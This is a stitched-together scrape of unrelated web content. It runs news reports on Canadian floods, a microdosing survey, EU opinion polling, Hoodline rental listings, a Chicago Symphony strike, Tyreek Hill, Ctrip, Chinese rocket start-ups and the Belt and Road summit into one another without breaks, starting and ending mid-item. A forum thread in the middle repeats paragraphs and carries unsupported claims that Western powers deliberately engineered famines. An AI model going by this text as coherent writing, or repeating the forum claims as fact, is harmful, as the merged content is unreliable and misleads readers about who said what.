Quebec said the structure was still holding. "If the dam were to give way, people in the area would have less than an hour to get out of the way of that surging water," said Goodale. "The wise thing would be to get out in advance." Provincial and federal authorities said that the severity of the floods in Ontario and Quebec, just two years after the 2017 flooding, could be attributed to climate change. In the east coast province of New Brunswick, floodwaters were starting to stabilise and even drop, but a forecast for more rain prompted concerns the situation could again worsen. ($1 = 1.3450 Canadian dollars) (Additional reporting by Chris Wattie in Ottawa; editing by Steve Orlofsky and James Dalgleish) Canadian researchers are looking into the psychological benefits that microdoses of psychedelic drugs can have. (Getty) Canadian researchers are looking to learn more about the effectiveness of microdosing, the practice of taking small amounts of psychedelic drugs to help with mood and mental health challenges like depression. Earlier this year, PhD students Thomas Anderson and Rotem Petranker published their findings on the subject from research they conducted, which is one of the largest formal studies of its kind. An online questionnaire was posted on the sub-Reddit forum r/microdosing, as well as other social media sites. It asked participants to report their behaviours with microdosing and how it relates to dysfunctional attitudes, wisdom, negative emotionality, open-mindedness, and mood. Respondents also were asked to perform a task of finding as many unusual uses for common household items like a knife or brick, to assess their creativity. The results found that people who microdosed were more open in wisdom and open-mindedness, higher on creativity and lower in negative emotions. However, these findings dont conclude prove that microdosing works. While this particular study is limited as a result of being an online survey, the researchers involved hope to take their field work further. The pair are behind the recently launched University of Toronto Center for Psychedelic Studies, which will further examine the effects of microdosing. The findings from this paper...is promising, Anderson, a PhD student in cognitive neuroscience at the University of Toronto, told Yahoo Canada. We cant say that microdosing did anything because we dont have this randomized control trial, and no one does. So theres this gap in scientific knowledge. People are microdosing and we dont know if this practice does anything and we want to find out scientifically. It seems like a promising avenue to go down because of the anecdotes. He says that he and his colleagues intend to do an in-lab study, which would be the first of its kind in Canada. They are currently working on getting an exemption from Health Canada, since psychedelic substances such as LSD and psilocybin are considered Schedule III drugs, under the Controlled Drugs and Substances Act. A private donor has already been lined up to fund the study, and a Go Fund Me has also been set up. Story continues The online survey found that the prevalent drawback to microdosing was circumstantial, rather than physical. Respondents reported feeling uneasy about the use of illegal drugs. The fact that its illegal makes people a bit anxious, says Anderson. Having to interact with a drug dealer, you dont necessarily know what youre getting...wed be more wary of taking Tylenol if every pill had a different amount of Tylenol in it. Insight into microdosing can prove to be useful when exploring alternative treatments for depression and other mental health issues. While there are plenty of pharmaceuticals to treat these problems, they dont work for everyone. Depression, anxiety and substance abuse disorders are prevalent in society, says Anderson. The pathways for new potential pharmacological agents that would help with these problems would be good. Microdosing looks like it has a lot of potential for mood stuff but we cant say it does because we havent tested it. So we should test it because maybe it might. Anderson expects to see some kind of regulation of microdosing in the future, which could mean that one day it could be prescribed by a doctor. Theres a conversation going on right now amongst people in this field about how were going to move forward, he says. Lunaticoutpost.com is a participant in the Amazon Services LLC Associates Program , anaffiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.Amazon, the Amazon logo, MYHABIT, and the MYHABIT logo are trademarks of Amazon.com, Inc. or its affiliates.Don't be a pest to the forum.No profanity in thread-titles or usernamesNo excessive profanity in postsNo Racism, Antisemitism + HateNo calls for violence against anyone..This website exists for fun and discussion only. The reader is responsible for discerning the validity, factuality or implications of information posted here, be it fictional or based on real events. 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A major new piece of research has been published today, analysing what the UK really thinks about the EU. The Eurobarometer survey, based on interviews with almost 30,000 Europeans, found that considerably more Brits now want to remain in the UK than want to leave. 45% said they would like to stay a member of the bloc compared to 37% who want to quit. Pro-EU? The research found a majority of Brits (54%) feel their country has benefitted from being a member of the European Union. There are significant generational divides on this issue in particular. Asked whether the UK has benefited from its membership, the youngest respondents answered yes by 66% compared with 40% among the oldest generation. What about the rest of Europe? Coming just a month before the next round of European Parliamentary elections, support for the EU among all members is at a near record high. 61% of people across all countries said their membership is a good thing. Brits were the most likely to say their membership of the EU is a bad thing. The country second most likely to say being part of the EU is a bad thing was Italy, where 21% of people responded in this way. Luxembourg, the Netherlands and Ireland are the countries with the most positive attitude towards Europe. Outside the UK, a growing number of Europeans are concerned the EU is not moving in the right direction, with half of those interviewed saying this is the case. What does this mean for Brexit? Talks between Labour and the Conservatives continued this week to try a find a way to break through but there was no indication a solution is on the cards. Jeremy Corbyn came under increasing pressure to throw his support fully behind a second referendum after it emerged his partys campaign leaflets for the EU elections made no mention of a so-called Peoples Vote. Read more: What will the local and European elections tell us about Brexit? (The Independent) UK parties unveil eye-catching Euro election candidates (The Guardian) Labour row erupts over draft Euro election leaflet (Evening Standard) Two-thirds of Irish people feel attached to EU (PA Ready News) Story continues A group of boys who wore skirts to protest their schools shorts ban have won their campaign. Some 48 male pupils at a school in Devon donned the garment last summer, after they were forbidden to wear shorts in the hot weather. Ahead of the summer term this year, the school has agreed to allow boys to wear shorts as part of its uniform. Should boys be allowed to wear shorts to school? Read the full story and have your say below. Lottery bosses cancel criminals 4 million win Lottery bosses have refused to pay out a 4 million scratchcard jackpot won by two convicted criminals. Mark Goodram, 36, and Jon-Ross Watson, 31, appeared to have embarked on a four-day party to celebrate the multi-million pound win. But according to The Sun, lottery company Camelot believe the ticket was bought with a stolen debit card. It is claimed when Goodram and Watson contacted Camelot neither of them had a bank account. The pair first said they had used their last loose change to buy the ticket, but later said they had given a friend 10 to buy the scratchcard on his debit card, but did not reveal his name. Read the full story here (Yahoo News UK) Corbyn to boycott Donald Trump dinner Jeremy Corbyn has announced he will not attend a state banquet with Donald Trump and the Queen. The Labour leader said Theresa May should not be rolling out the red carpet for the US president who rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric. Buckingham Palace will host the US President for an official dinner when he visits the UK on June 3. Read the full story here (HuffPost) We all need a bit of a wash when the weather gets a bit hot. And so it proved for Indiana, a North American black bear at Woburn Safari Park. Indiana was filmed finding a makeshift flannel in the water and using it to give her face a quick refresh. 22 Debenhams has revealed the locations of some of the shops it plans to close, putting 1,200 jobs at risk. The department store chain is planning to shutter up to 50 of its worst-performing stores but has yet to confirm the locations of the remaining shops at risk. The first tranche of 22 will shut after trading through the key Christmas period. Read the full story here. (The Guardian) 3758 Front St. | Photos: Zumper According to rental site Zumper, median rents for a one-bedroom apartment in Hillcrest are hovering around $1,850, compared to a $1,707 one-bedroom median for San Diego as a whole. So how does the low-end pricing on a Hillcrest rental look these days and what might you get for the price? We took a look at local listings for studios and one-bedroom apartments to find out what budget-minded apartment seekers can expect to find in the neighborhood, which, according to Walk Score ratings, is quite walkable, is bikeable and has good transit options. Read on for the cheapest listings available right now. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 136 Pennsylvania Ave., #3 Listed at $1,300/month, this 500-square-foot one-bedroom, one-bathroom space, located at 136 Pennsylvania Ave., #3, is 29.7 percent less than the $1,850/month median rent for a one-bedroom in Hillcrest. In the unit, you're promised in-unit laundry. Pet owners, inquire elsewhere: this spot doesn't allow cats or dogs. Future tenants needn't worry about a leasing fee. (See the complete listing here.) 4175 Bachman Place This studio, situated at 4175 Bachman Place, is listed for $1,320/month for its 400 square feet of space. In the unit, you'll find air conditioning and hardwood floors. The building boasts assigned parking and on-site laundry. Small dogs and cats are allowed. Future tenants needn't worry about a leasing fee. (See the complete listing here.) 3560 Sixth Ave. Here's a studio at 3560 Sixth Ave., which is going for $1,325/month. In the unit, expect hardwood floors, a patio and in-unit laundry. Building amenities include assigned parking and outdoor space. Good news for animal lovers: both dogs and cats are allowed here. There's no leasing fee required for this rental. Story continues (See the full listing here.) 3758 Front St. Then there's this 380-square-foot at 3758 Front St., listed at $1,350/month. In the unit, you're promised hardwood floors and quartz countertops. The building features assigned parking and on-site management. Neither cats nor dogs are welcome. Future tenants needn't worry about a leasing fee. (See the listing here.) 338 University Place Finally, over at 338 University Place, there's this 400-square-foot studio, going for $1,475/month. In the unit, anticipate air conditioning and a deck. Neither cats nor dogs are welcome. On-site management and outdoor space are listed as building amenities. There isn't a leasing fee associated with this rental, but there is a $300 deposit. (View the listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. 1879 N. Milwaukee Ave., #408. | Photos: Zumper According to rental site Zumper, median rents for a one bedroom in Bucktown are hovering around $1,650, compared to a $1,550 one-bedroom median for Chicago as a whole. So how does the low-end pricing on a Bucktown rental look these days and what might you get for the price? We took a look at local listings for studios and one-bedroom apartments to find out what budget-minded apartment seekers can expect to find in the neighborhood, which, according to Walk Score ratings, is quite walkable, is a "biker's paradise" and has excellent transit. Take a look at the cheapest listings available right now, below. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 2022 W. Shakespeare Ave. Listed at $1,100/month, this 650-square-foot one-bedroom, one-bathroom pad, located at 2022 W. Shakespeare Ave., is 33.3 percent less than the $1,650/month median rent for a one bedroom in Bucktown. The building offers garage parking, outdoor space and on-site laundry. In the unit, expect to find high ceilings, air conditioning, hardwood flooring and a dishwasher. Pet owners, take heed: cats and dogs are welcome. Future tenants needn't worry about a leasing fee. (See the complete listing here.) 2032 N. Winchester Ave., #1F This one-bedroom, one-bathroom residence, situated at 2032 N. Winchester Ave., #1F, is listed for $1,125/month for its 550 square feet of space. Outdoor space is offered as a building amenity. In the unit, expect hardwood flooring, a dishwasher and a patio. Cats and dogs are not welcome. Future tenants needn't worry about a leasing fee. (See the complete listing here.) 2052 W. Webster Ave. Here's a studio at 2052 W. Webster Ave., which is going for $1,150/month. In the unit, expect central heating, air conditioning and carpeted floors. Pet owners, take heed: cats and dogs are welcome. There isn't a leasing fee associated with this rental. Story continues (See the full listing here.) 1818 N. Paulina St. Check out this 575-square-foot one-bedroom, one-bathroom at 1818 N. Paulina St., listed at $1,350/month. The building features secured entry and assigned parking. In the unit, expect central heating and air, hardwood flooring and a patio. Pets are not welcome. There isn't a leasing fee associated with this rental. (Here's the listing.) 1879 N. Milwaukee Ave., #408 This studio residence, situated at 1879 N. Milwaukee Ave., #408, is listed for $1,636/month for its 475 square feet of space. The building offers garage parking, a roof deck and concierge service. In the unit, you'll find air conditioning, hardwood flooring, a balcony and a walk-in closet. Cats and dogs are not permitted. There isn't a leasing fee associated with this rental. (See the listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Boro is a financing platform for college students. | Photo: Boro/Facebook Chicago-based personal finance company Boro has secured $6 million in Series A funding, according to company database Crunchbase, topping the citys recent funding headlines. The cash infusion was announced March 28 and financed by Lexin. According to its Crunchbase profile, "Boro is a leading consumer financing platform for college students. With its proprietary underwriting system, Boro is revolutionizing the existing consumer financing industry by providing convenient and affordable financial solutions to college students, who are underserved in the current market." The three-year-old startup has raised two previous funding rounds, including a $2 million convertible note round in 2017. The round brings total funding raised by Chicago companies in financial services over the past month to $7 million. The local financial services industry has produced 46 funding rounds over the past year, yielding a total of $2.1 billion in venture funding. In other local funding news, hospital and medical device company ExplORer Surgical announced a $5 million Series B funding round on April 18, financed by Aphelion Capital. According to Crunchbase, "ExplORer Surgical is an interactive surgical playbook that reduces disruptions and wasted disposables by improving surgical team communication. ExplORer Surgical also provides real-time performance and scheduling data to OR administrators to enhance quality of care and efficiency. Surgical teams use the software to coordinate their activities while managing their tools and and supplies in a way never before possible." Founded in 2015, the company has raised two previous rounds, including a $3 million Series A round in 2017. This story was created automatically using local investment data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Chicago (AFP) - The Chicago Symphony Orchestra will likely end its seven-week strike after the city's mayor Rahm Emanuel intervened to broker an agreement, his office said Friday, without detailing the terms. The musicians' association said it would vote to ratify the deal Saturday, noting that it had yet to be briefed on the contents. The high-profile walkout over salary and the future of the players' pensions triggered the standoff in early March. "I am pleased to announce that, after convening both parties at City Hall for a successful negotiating session, the management and the musicians have reached an agreement in principle to bring the music back to Symphony Center," Emanuel said in a statement. "The symphony is an integral part of Chicago's rich cultural fabric, but its economic impact extends beyond the musicians and management to the stagehands, ushers, restaurant servers and hotel workers whose livelihoods depend on a thriving symphony." The orchestra did not immediately respond to requests for comment. Despite their impasse with management, the striking musicians had put on free shows for fans, hundreds of whom had gathered in a union hall in the Midwestern city. Labor organizers along with the classical music world -- struggling with the converging trends of rising costs and shrinking, aging audiences -- watched the strike with great interest, viewing it as a potential bellwether for other important companies. Since 2011, revered orchestras in Detroit, Pittsburgh, Philadelphia and Minnesota have all experienced labor strife. Chicago last went on strike in 2012. The orchestra's board of directors had said it wants to protect the orchestra's finances, claiming pension costs have skyrocketed and will soon be unaffordable. But musicians had said the orchestra's financial position is healthy and the traditional pension plan is affordable. "This is about the future" Steve Lester, chair of the musicians' negotiating committee, said in March. "This membership is very determined." An explosive audio recording aired by a Kansas City television station on Thursday night reportedly includes Kansas City Chiefs wide receiver Tyreek Hill threatening his fiancee, who accused him of injuring their young son. In the recording broadcast by CBS affiliate KCTV, a voice identified as the boy's mother, Crystal Espinal, tells Hill that her son said regarding who punched him, "Daddy did it." She adds, "He is terrified of you." A voice alleged to be Hill replies, "You need to be terrified of me, too, b---." The man identified by the TV station as Hill adds, "I didn't do nothing." Espinal reportedly made the recording as an "insurance policy" and gave it to a friend, who passed it along to the TV station, according to a report from the Kansas City Star. The 11-minute recording, reportedly taped at a Dubai airport, includes Espinal accusing Hill of using a belt on the boy, along with an accusation that "you open up his arms and you punch him in the chest." The Johnson County (Kansas) District Attorney's office now has the recording, the newspaper reported. The development comes a day after the district attorney's office announced it would not bring charges against him for child abuse and neglect. Officials have said the criminal case is closed but could reopen with new evidence. Hill's attorneys insisted earlier Thursday that Hill is "innocent of any crime." For his part, the 25-year-old Hill released a statement through his lawyers before the recording came to light. "I love and support my family above anything. My son's health and happiness is my number one priority. I want to thank the Kansas City Chiefs, my attorneys, my agent and my union for supporting me through this. My focus remains on working hard to be the best person for my family and our community I can be, and the best player to help our team win," Hill said in the statement. Story continues Authorities had been investigating incidents -- one on March 5 for child abuse and neglect, and one on March 14 for battery -- at Hill's home in Overland Park, Kan. Both police reports indicated a juvenile was involved. Hill and Espinal were listed on the March 5 police report as "others involved." On the March 14 report, Espinal was listed as "others involved," with a juvenile listed as the victim. The Kansas City Star reported previously that the couple's son sustained a broken arm in the incident. The Star also reported earlier this week that the boy was recently removed from his parents' custody as part of a family court process called a "child in need of care" case. Despite not being charged with a crime, Hill could be subject to discipline from the NFL. --Field Level Media Chinas Ctrip Will Own Nearly Half of Indias MakeMyTrip After Share Swap Ctrip.com is increasing its foothold in India. Chinas largest online travel group intends to raise its position in Indias MakeMyTrip to 49 percent in a share swap deal with Naspers, the company said Friday. Naspers offered Ctrip even more shares, which would have given it control of MakeMyTrip, noted analysts at Goldman Sachs, but Ctrip opted for a minority position to avoid regulatory scrutiny. Ctrips concerns centered around a foreign company taking over a brand in India. Naspers will own about 6 percent of the Chinese travel agencys outstanding ordinary shares after the maneuver. In 2016, Shanghai-based Ctrip had invested about $180 million in MakeMyTrip, gaining it one board seat. With this deal, it will get Naspers four board seats. It now has five of the 10 board seats. With the investment, we can get more exposure to the Indian travel market, said Ctrip CEO Jane Sun on Friday. MakeMyTrip can now leverage our experience and knowledge at Ctrip and Skyscanner. Well explore more ways to work together. Ctrip will invest certain ordinary shares and class B shares of Indias largest online travel agency group MakeMyTrip in a third-party investment entity, which will hold class B shares of MakeMyTrip, representing approximately 4 percent of MakeMyTrips class B shares, plus ordinary shares, giving it 49 percent of its outstanding stock. Sun highlighted MakeMyTrips fast growth, experienced management, the Indian populations size and youthfulness, and how fast Indias economy is growing as key appealing factors driving Ctrips interest. MakeMyTrip claims a 43 percent a year compound annual growth in gross merchandise value processed in the past few years. Indias gross domestic product has recently grown faster than Chinas. Naspers, a South African tech and media investor, obtained its shares in MakeMyTrip after MakeMyTrip acquired Ibibo, an online travel agency Naspers had backed. Naspers plans to spin out some of its internet businesses shortly, which may partly explain the timing of the share swap. Story continues Ctrip has an acquisitive streak. In 2017, it acquired Skyscanner for $1.74 billion. However, Ctrip also competes internationally against companies like MakeMyTrip via its Trip.com brand. CEO Sun said Ctrip prefers to grow organically overseas via its brands. However, when it sees a company in a market that has a fast-growing market of potential online travel buyers, a company thats the leader in its vertical, and a company at a price thats attractive, it will consider an acquisition, she said, without commenting on the odds of any future acquisitions. Presumably Ctrip will bring more MakeMyTrip inventory into its brands. It controls at least half of Chinas online travel market bookings if you include its 45-percent owned partner Qunar. To complicate matters, Booking Holdings owns a strategic stake in Ctrip that before this deal was about 9 percent of Ctrips outstanding shares. For more context, see Skifts deep dive, What India Reveals About the Future of Online Travel. Subscribe to Skift newsletters covering the business of travel, restaurants, and wellness. By Ryan Woo LONGKOU, China (Reuters) - During initial tests of their 8.1-metre (27-foot) tall reusable rocket, Chinese engineers from LinkSpace, a start-up led by China's youngest space entrepreneur, used a Kevlar tether to ensure its safe return. Just in case. But when the Beijing-based company's prototype, called NewLine Baby, successfully took off and landed last week for the second time in two months, no tether was needed. The 1.5-tonne rocket hovered 40 meters above the ground before descending back to its concrete launch pad after 30 seconds, to the relief of 26-year-old chief executive Hu Zhenyu and his engineers - one of whom cartwheeled his way to the launch pad in delight. LinkSpace, one of China's 15-plus private rocket manufacturers, sees these short hops as the first steps towards a new business model: sending tiny, inexpensive satellites into orbit at affordable prices. Demand for these so-called nanosatellites - which weigh less than 10 kilograms (22 pounds) and are in some cases as small as a shoebox - is expected to explode in the next few years. And China's rocket entrepreneurs reckon there is no better place to develop inexpensive launch vehicles than their home country. "For suborbital clients, their focus will be on scientific research and some commercial uses. After entering orbit, the near-term focus (of clients) will certainly be on satellites," Hu said. In the near term, China envisions massive constellations of commercial satellites that can offer services ranging from high-speed internet for aircraft to tracking coal shipments. Universities conducting experiments and companies looking to offer remote-sensing and communication services are among the potential domestic customers for nanosatellites. A handful of U.S. small-rocket companies are also developing launchers ahead of the expected boom. One of the biggest, Rocket Lab, has already put 25 satellites in orbit. No private company in China has done that yet. Since October, two - LandSpace and OneSpace - have tried but failed, illustrating the difficulties facing space start-ups everywhere. The Chinese companies are approaching inexpensive launches in different ways. Some, like OneSpace, are designing cheap, disposable boosters. LinkSpace's Hu aspires to build reusable rockets that return to Earth after delivering their payload, much like the Falcon 9 rockets of Elon Musk's SpaceX. "If you're a small company and you can only build a very, very small rocket because that's all you have money for, then your profit margins are going to be narrower," said Macro Caceres, analyst at U.S. aerospace consultancy Teal Group. "But if you can take that small rocket and make it reusable, and you can launch it once a week, four times a month, 50 times a year, then with more volume, your profit increases," Caceres added. Eventually LinkSpace hopes to charge no more than 30 million yuan ($4.48 million) per launch, Hu told Reuters. That is a fraction of the $25 million to $30 million needed for a launch on a Northrop Grumman Innovation Systems Pegasus, a commonly used small rocket. The Pegasus is launched from a high-flying aircraft and is not reusable. (Click https://reut.rs/2UVBjKs to see a picture package of China's rocket start-ups. Click https://tmsnrt.rs/2GIy9Bc for an interactive look at the nascent industry.) NEED FOR CASH LinkSpace plans to conduct suborbital launch tests using a bigger recoverable rocket in the first half of 2020, reaching altitudes of at least 100 kilometers, then an orbital launch in 2021, Hu told Reuters. The company is in its third round of fundraising and wants to raise up to 100 million yuan, Hu said. It had secured tens of millions of yuan in previous rounds. After a surge in fresh funding in 2018, firms like LinkSpace are pushing out prototypes, planning more tests and even proposing operational launches this year. Last year, equity investment in China's space start-ups reached 3.57 billion yuan ($533 million), a report by Beijing-based investor FutureAerospace shows, with a burst of financing in late 2018. That accounted for about 18 percent of global space start-up investments in 2018, a historic high, according to Reuters calculations based on a global estimate by Space Angels. The New York-based venture capital firm said global space start-up investments totaled $2.97 billion last year. "Costs for rocket companies are relatively high, but as to how much funding they need, be it in the hundreds of millions, or tens of millions, or even just a few million yuan, depends on the company's stage of development," said Niu Min, founder of FutureAerospace. FutureAerospace has invested tens of millions of yuan in LandSpace, based in Beijing. Like space-launch startups elsewhere in the world, the immediate challenge for Chinese entrepreneurs is developing a safe and reliable rocket. Proven talent to develop such hardware can be found in China's state research institutes or the military; the government directly supports private firms by allowing them to launch from military-controlled facilities. But it's still a high-risk business, and one unsuccessful launch might kill a company. "The biggest problem facing all commercial space companies, especially early-stage entrepreneurs, is failure" of an attempted flight, Liang Jianjun, chief executive of rocket company Space Trek, told Reuters. That can affect financing, research, manufacturing and the team's morale, he added. Space Trek is planning its first suborbital launch by the end of June and an orbital launch next year, said Liang, who founded the company in late 2017 with three other former military technical officers. Despite LandSpace's failed Zhuque-1 orbital launch in October, the Beijing-based firm secured 300 million yuan in additional funding for the development of its Zhuque-2 rocket a month later. In December, the company started operating China's first private rocket production facility in Zhejiang province, in anticipation of large-scale manufacturing of its Zhuque-2, which it expects to unveil next year. STATE COMPETITION China's state defense contractors are also trying to get into the low-cost market. In December, the China Aerospace Science and Industry Corp (CASIC) successfully launched a low-orbit communication satellite, the first of 156 that CASIC aims to deploy by 2022 to provide more stable broadband connectivity to rural China and eventually developing countries. The satellite, Hongyun-1, was launched on a rocket supplied by the China Aerospace Science and Technology Corp (CASC), the nation's main space contractor. In early April, the China Academy of Launch Vehicle Technology (CALVT), a subsidiary of CASC, completed engine tests for its Dragon, China's first rocket meant solely for commercial use, clearing the path for a maiden flight before July. The Dragon, much bigger than the rockets being developed by private firms, is designed to carry multiple commercial satellites. At least 35 private Chinese companies are working to produce more satellites. Spacety, a satellite maker based in southern Hunan province, plans to put 20 satellites in orbit this year, including its first for a foreign client, chief executive Yang Feng told Reuters. The company has only launched 12 on state-produced rockets since the company started operating in early 2016. "When it comes to rocket launches, what we care about would be cost, reliability and time," Yang said. (Reporting by Ryan Woo; Additional reporting by Beijing newsroom; Editing by Gerry Doyle) Username: Password: or Register Back to Forum Reply to This post Post New Thread Thread Rating: 2 Vote(s) - 3 Average 1 2 3 4 5 Will The West Allow The Construction Of Railroads Linking The Gulf And The Med? LoP Guest lop guest User ID: 348173 04-26-2019 01:17 PM Post: #1 Will The West Allow The Construction Of Railroads Linking The Gulf And The Med? Advertisement For its reconstruction, Syria can only count on itself, because not one of the powers that spent hundreds of billions of dollars to destroy it is prepared to spend the first cent to help rebuild it. In these conditions, the future of the country depends on reconnecting with its past the time at which it was the only open passage between the Indian Ocean and the Mediterranean Sea. In antiquity, the Silk Road stretched from the ancient Chinese capital of Xian to Antioch and Tyr. This route was not only a passage which enabled the exchange of merchandise from town to town, it was also a route for culture via which Chinese philosophy spread through Asia, and the Muslim religion arrived in China. It was a route whose common language was not Mandarin, but Persian. Thereafter, Syria continued to be the passage between the Indian Ocean and the Mediterranean, which ensured its prosperity until the construction of the Suez Canal. The project for a railroad linking the Iranian port of Khorramshahr, at the frontier with Iraq, to the Syrian Mediterranean coast, via Baghdad, is not a new idea. It had already been planned before the war, at the time of the Turko-Irano-Syrian common market. Its tracks were systematically sabotaged by pro-Western mercenaries, causing the derailing of trains and the deaths of personnel and travellers. So, from the start, the organisers of the war primarily the United Kingdom intended to prevent Syrias economic activity. This is a characteristic behaviour of British colonialism making sure that the colonised people remain dependent. https://www.zerohedge.com/news/2019-04-2...lf-and-med While the United States and their allies have deliberately created famine conditions in North Korea, then in Sudan, in Tunisia, and now in Yemen, they are also beginning to drag Syria down into starvation. The only way of avoiding this situation is by relaunching the regional economy, which collapsed during the wars in Iraq and Syria. Two projects for railroads are currently in competition the first intended to develop the region, the second to divide it. Are the Westerners behaving like human beings, or are they pursuing their dream of world domination?In these conditions, the future of the country depends on reconnecting with its past the time at which it was the only open passage between the Indian Ocean and the Mediterranean Sea. In antiquity, the Silk Road stretched from the ancient Chinese capital of Xian to Antioch and Tyr.This route was not only a passage which enabled the exchange of merchandise from town to town, it was also a route for culture via which Chinese philosophy spread through Asia, and the Muslim religion arrived in China. It was a route whose common language was not Mandarin, but Persian. Thereafter, Syria continued to be the passage between the Indian Ocean and the Mediterranean, which ensured its prosperity until the construction of the Suez Canal.The project for a railroad linking the Iranian port of Khorramshahr, at the frontier with Iraq, to the Syrian Mediterranean coast, via Baghdad, is not a new idea. It had already been planned before the war, at the time of the Turko-Irano-Syrian common market. Its tracks were systematically sabotaged by pro-Western mercenaries, causing the derailing of trains and the deaths of personnel and travellers.So, from the start, the organisers of the war primarily the United Kingdom intended to prevent Syrias economic activity. This is a characteristic behaviour of British colonialism making sure that the colonised people remain dependent. LoP Guest lop guest User ID: 498842 04-26-2019 01:21 PM Post: #2 RE: Will The West Allow The Construction Of Railroads Linking The Gulf And The Med? Bored of people posting blatant Russian propaganda bullshit from zerohedge and the other Russian propaganda outlets. Lakeofmarch ~Fiat iustitia, adveniat regnum Apolyon~ User ID: 496245 04-26-2019 04:11 PM Posts: 19,632 Post: #3 RE: Will The West Allow The Construction Of Railroads Linking The Gulf And The Med? It is going to be a different world very soon, looking forward to it. terebess.hu/english/tao/wu.html - Snow Crash, Eagle's Gift, Opus '73 - secretsun.blogspot.com Son Calenda/Fudo Myoo - Axte Incal, Axtuce Mun - het-report.nl http://www.sirbacon.org/dick.htm absolutoracle.com -NO8DO- Dao is universal like a flood. How can it be turned?terebess.hu/english/tao/wu.html - Snow Crash, Eagle's Gift, Opus '73 - secretsun.blogspot.comSon Calenda/Fudo Myoo - Axte Incal, Axtuce Mun - het-report.nlabsolutoracle.com-NO8DO- Natura Naturans Registered User User ID: 497797 04-26-2019 05:14 PM Posts: 13,155 Post: #4 RE: Will The West Allow The Construction Of Railroads Linking The Gulf And The Med? LoP Guest Wrote: (04-26-2019 01:21 PM) Bored of people posting blatant Russian propaganda bullshit from zerohedge and the other Russian propaganda outlets. Zerohedge is the best news outlet there is. But YOU can go on reading the US propaganda rags the NYT and WAPO, obviously you like the US poison koolaid. Zerohedge is the best news outlet there is. But YOU can go on reading the US propaganda rags the NYT and WAPO, obviously you like the US poison koolaid. The highest activity a human being can attain is learning for understanding, because to understand is to be free. --Baruch Spinoza Back to Forum Reply to This post Post New Thread By Brenda Goh and Cate Cadell BEIJING (Reuters) - China's Belt and Road Initiative (BRI) must be green and sustainable, President Xi Jinping said in opening a summit on his grand strategy, adding that the massive infrastructure and trade plan would deliver "high-quality" growth for all. Xi's plan to rebuild the old Silk Road to connect China with Asia, Europe and beyond has aroused controversy, as some partner nations have bemoaned the high cost of infrastructure projects. China has not said how much the ambitious plan will cost, but some independent estimates suggest it will run to several trillion dollars. Beijing has repeatedly said it is not seeking to trap countries that sign up to BRI with debt. It will use this week's summit in Beijing to address those concerns and recalibrate the policy. Xi said in a keynote speech on Friday that environmental protection must underpin the initiative "to protect the common home we live in". "Operate in the sun and fight corruption together with zero tolerance," Xi said. "Building high-quality, sustainable, risk-resistant, reasonably priced, and inclusive infrastructure will help countries to fully utilize their resource endowments," he said. At the first summit, in 2017, Xi said Chinese banks would lend 380 billion yuan ($56.4 billion) to support BRI cooperation. He did not give a figure for the new financing in his opening remarks at the summit, but he is schedule to give another speech, on Saturday. Western governments have tended to view the plan as a means to spread Chinese influence abroad, saddling poor countries with unsustainable debt. While most of the BRI projects are continuing as planned, some have been caught up by changes in government in countries such as Malaysia and the Maldives. Those that have been shelved for financial reasons include a power plant in Pakistan and an airport in Sierra Leone, and Beijing has rebuffed critics by saying that not one country has been burdened with so-called "debt traps". Story continues Since 2017, the finance ministries of 28 countries have called on governments, financial institutions and companies from BRI countries to work together to build a long-term, stable and sustainable financing system to manage risks, China's finance ministry said in a report released on Thursday. Debt sustainability has to be taken into account when mobilizing funds, the ministry said in the report, which outlined a framework for use in analyzing debt sustainability of low-income BRI nations and managing debt risks. Xi launched BRI in 2013, and according to data from Refinitiv, the total value of projects in the scheme stands at $3.67 trillion, spanning countries in Asia, Europe, Africa, Oceania and South America. "The BRI is an extraordinarily ambitious vision. To turn that vision into a sustainable reality, it must work for everyone involved," British finance minister Philip Hammond said at the summit. The potential benefits are clear, but to deliver them, BRI must operate according to the highest global standards with all parties working together within the rules-based international system to create genuine win-win outcomes for all, he said. CHINESE PROMISES The BRI will also create development opportunities for China just as the country itself is further opening its markets to the world, Xi said. He said China will "improve laws and regulations, regulate government behavior at all levels in administrative licensing, market supervision and other areas, and clean up and abolish unreasonable regulations, subsidies and practices that impede fair competition and distort the market." Xi promised to significantly shorten the negative list for foreign investments, and allow foreign companies to take a majority stake or set up wholly-owned companies in more sectors. Tariffs will be lower and non-tariff barriers will be eliminated, he added. China also aims to import more services and goods, and is willing to import competitive agricultural products and services to achieve trade balance. VISITING LEADERS Summit attendees include Russian President Vladimir Putin and Prime Minister Imran Khan of Pakistan, a close China ally and among the biggest recipients of BRI investment, as well as Prime Minister Giuseppe Conte of Italy, which recently became the first G7 country to sign on. Khan told the summit that in a world of uncertainty, the initiative offered "a model of collaboration, partnership, connectivity and shared prosperity". Cambodian Prime Minister Hun Sen took aim at critics who have described Belt and Road as a debt trap, pointing to the successful example of a Chinese-funded highway between Phnom Penh and the port city of Sihanoukville. "Cambodia has not only been able to plan this project for the benefit of the people but also achieve financial engineering that does not increase public debt to the state," he said, in comments translated into English. European countries have signaled their willingness to participate in the BRI, but key states like France and Germany have said China must in turn improve access and fair competition for foreign firms. Major European Union countries want to sign a memorandum of understanding on the BRI as a group and not as individual states, German Economy Minister Peter Altmaier said. The United States, which has not joined the Belt and Road, is expected to send only lower-level officials, and nobody from Washington. "We continue to have serious concerns that China's infrastructure diplomacy activities ignore or weaken international standards and best practices related to development, labor protections, and environmental protection," a spokesman for the U.S. Embassy in Beijing said. Chinas state asset regulator on Friday said at least 17 central government-owned firms, including companies such as China Railway Construction Corp and Mengniu Dairy, signed deals at the Belt and Road forum which totaled over $20 billion in value, according to Reuters calculations. (Reporting by Brenda Goh and Cate Cadell; additional reporting by Tony Munroe, Stella Qiu, Ryan Woo, Yilei Sun, and Tom Daly; writing by Ben Blanchard; editing by Simon Cameron-Moore, Darren Schuettler, Larry King) Carly Barton (R) joined Eamonn Holmes and Ruth Langsford to discuss the benefits of medical cannabis when you suffer from chronic pain 